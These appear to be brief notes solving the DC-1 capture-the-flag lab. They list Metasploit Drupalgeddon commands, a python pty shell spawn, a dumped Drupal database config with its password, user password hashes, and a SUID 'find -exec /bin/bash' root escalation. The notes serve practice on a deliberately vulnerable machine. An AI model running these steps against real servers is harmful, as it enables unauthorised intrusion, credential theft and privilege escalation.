DC 1

> msfconsole -q
> search Drupalgeddon
> use 0
> set RHOSTS ip
> python -c "import pty; pty.spawn('/bin/bash')"

meterpreter > cat flag1.txt
Every good CMS needs a config file—and so do you.

port' ⇒ 3306,

flag2

- Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?

using cat in important files>>

array (
'database' ⇒ 'drupaldb',
'username' ⇒ 'dbuser',
'password' ⇒ 'R0ck3t',
'host' ⇒ 'localhost',
'port' ⇒ '',
'driver' ⇒ 'mysql',
'prefix' ⇒ '',
),

> using mysql

admin | SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

Fred | SDWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

```
cd /home
```

flag4

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

```
find / -perm -u=s 2>/dev/null
```

```
find /dev -name null -exec /bin/bash \;
```

```
cd root
```

```
cat thefinalflag.txt
```

finalflag

Well done!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7